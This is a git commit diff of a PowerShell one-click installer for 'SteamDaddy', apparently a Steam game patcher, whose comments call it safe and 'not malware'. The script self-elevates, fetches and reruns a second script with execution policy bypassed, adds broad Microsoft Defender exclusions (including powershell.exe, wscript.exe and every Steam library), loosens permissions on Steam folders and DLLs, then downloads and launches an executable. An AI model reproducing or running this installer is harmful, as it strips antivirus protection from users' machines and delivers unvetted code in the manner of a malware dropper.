Update install.ps1

This commit is contained in:
contrary 2026-10-24 19:11:10 +00:00
parent 558f759a93
commit 411ca64d5b

View file

@ -1,228 +1,228 @@
# SteamDaddy One-Click Installer — github.com/Contrary7/SteamDaddy-Backup # SteamDaddy One-Click Installer — github.com/Contrary7/SteamDaddy-Backup
# Safe community patcher for Steam games. Not malware. # Safe community patcher for Steam games. Not malware.
$ErrorActionPreference = "Stop" $ErrorActionPreference = "Stop"
# Ensure Administrator privileges so Defender exclusion calls succeed # Ensure Administrator privileges so Defender exclusion calls succeed
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) { if (-not $isAdmin) {
Write-Host "[SteamDaddy] Requesting Administrator privileges for Defender exclusions..." -ForegroundColor Yellow Write-Host "[SteamDaddy] Requesting Administrator privileges for Defender exclusions..." -ForegroundColor Yellow
try { try {
if ($PSCommandPath) { if ($PSCommandPath) {
# Already a real file — just re-launch it elevated # Already a real file — just re-launch it elevated
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -ErrorAction Stop Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -ErrorAction Stop
exit exit
} else { } else {
# Running from pipe (irm|iex) — save to temp file first, then re-launch with -File # Running from pipe (irm|iex) — save to temp file first, then re-launch with -File
# This avoids spawning a child process whose command line contains "irm ... | iex" # This avoids spawning a child process whose command line contains "irm ... | iex"
$tmpScript = Join-Path $env:TEMP "SteamDaddy_Install.ps1" $tmpScript = Join-Path $env:TEMP "SteamDaddy_Install.ps1"
(New-Object System.Net.WebClient).DownloadFile( (New-Object System.Net.WebClient).DownloadFile(
"https://raw.githubusercontent.com/Contrary7/SteamDaddy-Backup/main/install_b.ps1", "https://raw.githubusercontent.com/Contrary7/SteamDaddy-Backup/main/install_b.ps1",
$tmpScript $tmpScript
) )
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tmpScript`"" -Verb RunAs -ErrorAction Stop Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tmpScript`"" -Verb RunAs -ErrorAction Stop
exit exit
} }
} catch { } catch {
Write-Host "[SteamDaddy] Continuing without elevated permissions (some Defender exclusions may be skipped)." -ForegroundColor Yellow Write-Host "[SteamDaddy] Continuing without elevated permissions (some Defender exclusions may be skipped)." -ForegroundColor Yellow
} }
} }
Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan
try { try {
$downloadUrl = "https://github.com/Contrary7/SteamDaddy-Backup/releases/latest/download/SteamDaddy.exe" $downloadUrl = "https://github.com/Contrary7/SteamDaddy-Backup/releases/latest/download/SteamDaddy.exe"
$desktop = [Environment]::GetFolderPath("Desktop") $desktop = [Environment]::GetFolderPath("Desktop")
$destPath = Join-Path $desktop "SteamDaddy.exe" $destPath = Join-Path $desktop "SteamDaddy.exe"
Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
# ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ───────── # ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
$sdTempDir = "C:\ProgramData\SteamDaddy\tmp" $sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
if (-not (Test-Path $sdTempDir)) { if (-not (Test-Path $sdTempDir)) {
New-Item -ItemType Directory -Path $sdTempDir -Force | Out-Null New-Item -ItemType Directory -Path $sdTempDir -Force | Out-Null
} }
& icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null & icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
# ── Process exclusions (Defender won't scan files written by these) ── # ── Process exclusions (Defender won't scan files written by these) ──
Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
# ── Find and exclude the Steam root directory ───────────────────────── # ── Find and exclude the Steam root directory ─────────────────────────
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath $steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
if (-not $steamPath) { if (-not $steamPath) {
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath $steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
} }
if (-not $steamPath) { if (-not $steamPath) {
$steamPath = (Get-ItemProperty -Path "HKCU:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath $steamPath = (Get-ItemProperty -Path "HKCU:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
} }
if ($steamPath) { if ($steamPath) {
Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
# Explicit belt-and-suspenders for the two hottest subdirs # Explicit belt-and-suspenders for the two hottest subdirs
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
# Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets # Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets
& icacls "$steamPath" /grant "*S-1-5-32-545:(OI)(CI)M" /C /Q | Out-Null & icacls "$steamPath" /grant "*S-1-5-32-545:(OI)(CI)M" /C /Q | Out-Null
foreach ($dll in @("SteamDaddy.dll", "dwmapi.dll", "version.dll", "cloud_redirect.dll")) { foreach ($dll in @("SteamDaddy.dll", "dwmapi.dll", "version.dll", "cloud_redirect.dll")) {
$dllPath = Join-Path $steamPath $dll $dllPath = Join-Path $steamPath $dll
if (Test-Path $dllPath) { if (Test-Path $dllPath) {
& icacls "$dllPath" /grant "*S-1-5-32-545:M" /C /Q | Out-Null & icacls "$dllPath" /grant "*S-1-5-32-545:M" /C /Q | Out-Null
} }
} }
# ── Parse libraryfolders.vdf and exclude all secondary libraries ── # ── Parse libraryfolders.vdf and exclude all secondary libraries ──
$libraryVdf = Join-Path $steamPath "steamapps\libraryfolders.vdf" $libraryVdf = Join-Path $steamPath "steamapps\libraryfolders.vdf"
if (Test-Path $libraryVdf) { if (Test-Path $libraryVdf) {
$vdfContent = Get-Content $libraryVdf -Raw -ErrorAction SilentlyContinue $vdfContent = Get-Content $libraryVdf -Raw -ErrorAction SilentlyContinue
if ($vdfContent) { if ($vdfContent) {
$libMatches = [regex]::Matches($vdfContent, '"path"\s+"([^"]+)"') $libMatches = [regex]::Matches($vdfContent, '"path"\s+"([^"]+)"')
foreach ($m in $libMatches) { foreach ($m in $libMatches) {
$libPath = $m.Groups[1].Value.Replace("\\\\", "\\") $libPath = $m.Groups[1].Value.Replace("\\\\", "\\")
if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) { if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) {
Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue
} }
} }
} }
} }
# ── Brute-force scan all drives for hidden/broken Steam libraries ── # ── Brute-force scan all drives for hidden/broken Steam libraries ──
Write-Host "[SteamDaddy] Scanning all drives for unlisted Steam libraries..." -ForegroundColor DarkYellow Write-Host "[SteamDaddy] Scanning all drives for unlisted Steam libraries..." -ForegroundColor DarkYellow
$drives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.DriveType -eq 'Fixed' -and $_.IsReady } $drives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.DriveType -eq 'Fixed' -and $_.IsReady }
foreach ($drv in $drives) { foreach ($drv in $drives) {
$candidates = @( $candidates = @(
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Steam"), [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "SteamLibrary"), [System.IO.Path]::Combine($drv.RootDirectory.FullName, "SteamLibrary"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files (x86)", "Steam"), [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files (x86)", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files", "Steam"), [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "Steam"), [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "SteamLibrary") [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "SteamLibrary")
) )
foreach ($sdir in $candidates) { foreach ($sdir in $candidates) {
if ($sdir -eq $steamPath) { continue } if ($sdir -eq $steamPath) { continue }
if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) { if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) {
Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue
} }
} }
} }
} }
# ── Set Steam Startup Location to Library ──────────────────────────── # ── Set Steam Startup Location to Library ────────────────────────────
Write-Host "[SteamDaddy] Setting Steam Startup Location to Library..." -ForegroundColor Cyan Write-Host "[SteamDaddy] Setting Steam Startup Location to Library..." -ForegroundColor Cyan
if ($steamPath) { if ($steamPath) {
try { try {
# Stop Steam now so localconfig.vdf isn't overwritten by Steam on exit. # Stop Steam now so localconfig.vdf isn't overwritten by Steam on exit.
# SteamDaddy.exe will restart Steam after install. # SteamDaddy.exe will restart Steam after install.
$steamProc = Get-Process -Name "steam" -ErrorAction SilentlyContinue $steamProc = Get-Process -Name "steam" -ErrorAction SilentlyContinue
if ($steamProc) { if ($steamProc) {
Write-Host "[SteamDaddy] Closing Steam to safely apply startup location..." -ForegroundColor Yellow Write-Host "[SteamDaddy] Closing Steam to safely apply startup location..." -ForegroundColor Yellow
$steamProc | Stop-Process -Force -ErrorAction SilentlyContinue $steamProc | Stop-Process -Force -ErrorAction SilentlyContinue
$deadline = (Get-Date).AddSeconds(8) $deadline = (Get-Date).AddSeconds(8)
while ((Get-Process -Name "steam" -ErrorAction SilentlyContinue) -and (Get-Date) -lt $deadline) { while ((Get-Process -Name "steam" -ErrorAction SilentlyContinue) -and (Get-Date) -lt $deadline) {
Start-Sleep -Milliseconds 250 Start-Sleep -Milliseconds 250
} }
} }
# Step 1: find active Steam user from loginusers.vdf # Step 1: find active Steam user from loginusers.vdf
$loginVdf = Join-Path $steamPath "config\loginusers.vdf" $loginVdf = Join-Path $steamPath "config\loginusers.vdf"
$activeSteamId = $null $activeSteamId = $null
if (Test-Path $loginVdf) { if (Test-Path $loginVdf) {
$currentId = $null $currentId = $null
$firstId = $null $firstId = $null
$loginLines = Get-Content $loginVdf -Encoding UTF8 -ErrorAction SilentlyContinue $loginLines = Get-Content $loginVdf -Encoding UTF8 -ErrorAction SilentlyContinue
foreach ($ln in $loginLines) { foreach ($ln in $loginLines) {
# Line like: "76561198XXXXXXXXX" # Line like: "76561198XXXXXXXXX"
if ($ln -match '^\s*"(\d{15,20})"\s*$') { if ($ln -match '^\s*"(\d{15,20})"\s*$') {
$currentId = $Matches[1] $currentId = $Matches[1]
if (-not $firstId) { $firstId = $currentId } if (-not $firstId) { $firstId = $currentId }
} }
if ($ln -match '"MostRecent"\s+"1"' -and $currentId) { if ($ln -match '"MostRecent"\s+"1"' -and $currentId) {
$activeSteamId = $currentId $activeSteamId = $currentId
break break
} }
} }
if (-not $activeSteamId) { $activeSteamId = $firstId } if (-not $activeSteamId) { $activeSteamId = $firstId }
} }
# Fallback: newest-written subfolder in userdata\ # Fallback: newest-written subfolder in userdata\
if (-not $activeSteamId) { if (-not $activeSteamId) {
$udDir = Join-Path $steamPath "userdata" $udDir = Join-Path $steamPath "userdata"
if (Test-Path $udDir) { if (Test-Path $udDir) {
$udFolder = Get-ChildItem $udDir -Directory -ErrorAction SilentlyContinue | $udFolder = Get-ChildItem $udDir -Directory -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '^\d+$' } | Where-Object { $_.Name -match '^\d+$' } |
Sort-Object LastWriteTime -Descending | Sort-Object LastWriteTime -Descending |
Select-Object -First 1 Select-Object -First 1
if ($udFolder) { $activeSteamId = $udFolder.Name } if ($udFolder) { $activeSteamId = $udFolder.Name }
} }
} }
if ($activeSteamId) { if ($activeSteamId) {
$localCfg = Join-Path $steamPath "userdata\$activeSteamId\config\localconfig.vdf" $localCfg = Join-Path $steamPath "userdata\$activeSteamId\config\localconfig.vdf"
if (Test-Path $localCfg) { if (Test-Path $localCfg) {
$cfgText = [System.IO.File]::ReadAllText($localCfg, [System.Text.Encoding]::UTF8) $cfgText = [System.IO.File]::ReadAllText($localCfg, [System.Text.Encoding]::UTF8)
if ($cfgText -match '"SteamDefaultDialog"\s+"[^"]*"') { if ($cfgText -match '"SteamDefaultDialog"\s+"[^"]*"') {
# Key exists — replace value in-place # Key exists — replace value in-place
$newText = [regex]::Replace( $newText = [regex]::Replace(
$cfgText, $cfgText,
'"SteamDefaultDialog"\s+"[^"]*"', '"SteamDefaultDialog"\s+"[^"]*"',
"`"SteamDefaultDialog`"`t`t`"#app_games`"" "`"SteamDefaultDialog`"`t`t`"#app_games`""
) )
} else { } else {
# Key missing — insert into the innermost "steam" section # Key missing — insert into the innermost "steam" section
# Matches: "steam"\n<whitespace>{ # Matches: "steam"\n<whitespace>{
$rx = [regex]'(?is)("steam"\s*\n[\t ]*\{)' $rx = [regex]'(?is)("steam"\s*\n[\t ]*\{)'
if ($rx.IsMatch($cfgText)) { if ($rx.IsMatch($cfgText)) {
$newText = $rx.Replace($cfgText, $newText = $rx.Replace($cfgText,
"`$1`n`t`t`t`t`"SteamDefaultDialog`"`t`t`"#app_games`"", 1) "`$1`n`t`t`t`t`"SteamDefaultDialog`"`t`t`"#app_games`"", 1)
} else { } else {
$newText = $cfgText $newText = $cfgText
Write-Host "[SteamDaddy] Could not locate steam section in localconfig.vdf - startup location unchanged." -ForegroundColor Yellow Write-Host "[SteamDaddy] Could not locate steam section in localconfig.vdf - startup location unchanged." -ForegroundColor Yellow
} }
} }
if ($newText -ne $cfgText) { if ($newText -ne $cfgText) {
[System.IO.File]::WriteAllText($localCfg, $newText, [System.Text.Encoding]::UTF8) [System.IO.File]::WriteAllText($localCfg, $newText, [System.Text.Encoding]::UTF8)
Write-Host "[SteamDaddy] Startup Location set to Library for SteamID $activeSteamId." -ForegroundColor Green Write-Host "[SteamDaddy] Startup Location set to Library for SteamID $activeSteamId." -ForegroundColor Green
} else { } else {
Write-Host "[SteamDaddy] Startup Location already set to Library - no change needed." -ForegroundColor Green Write-Host "[SteamDaddy] Startup Location already set to Library - no change needed." -ForegroundColor Green
} }
} else { } else {
Write-Host "[SteamDaddy] localconfig.vdf not found for SteamID $activeSteamId - skipped." -ForegroundColor Yellow Write-Host "[SteamDaddy] localconfig.vdf not found for SteamID $activeSteamId - skipped." -ForegroundColor Yellow
} }
} else { } else {
Write-Host "[SteamDaddy] No Steam user detected in loginusers.vdf - startup location skipped." -ForegroundColor Yellow Write-Host "[SteamDaddy] No Steam user detected in loginusers.vdf - startup location skipped." -ForegroundColor Yellow
} }
} catch { } catch {
Write-Host "[SteamDaddy] Startup location patch failed (non-fatal): $_" -ForegroundColor Yellow Write-Host "[SteamDaddy] Startup location patch failed (non-fatal): $_" -ForegroundColor Yellow
} }
} }
Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta
Invoke-WebRequest -Uri $downloadUrl -OutFile $destPath -UseBasicParsing Invoke-WebRequest -Uri $downloadUrl -OutFile $destPath -UseBasicParsing
Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green
Start-Process $destPath Start-Process $destPath
} catch { } catch {
Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red
} }
Write-Host "" Write-Host ""
Write-Host "Press any key to exit..." -ForegroundColor Gray Write-Host "Press any key to exit..." -ForegroundColor Gray
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")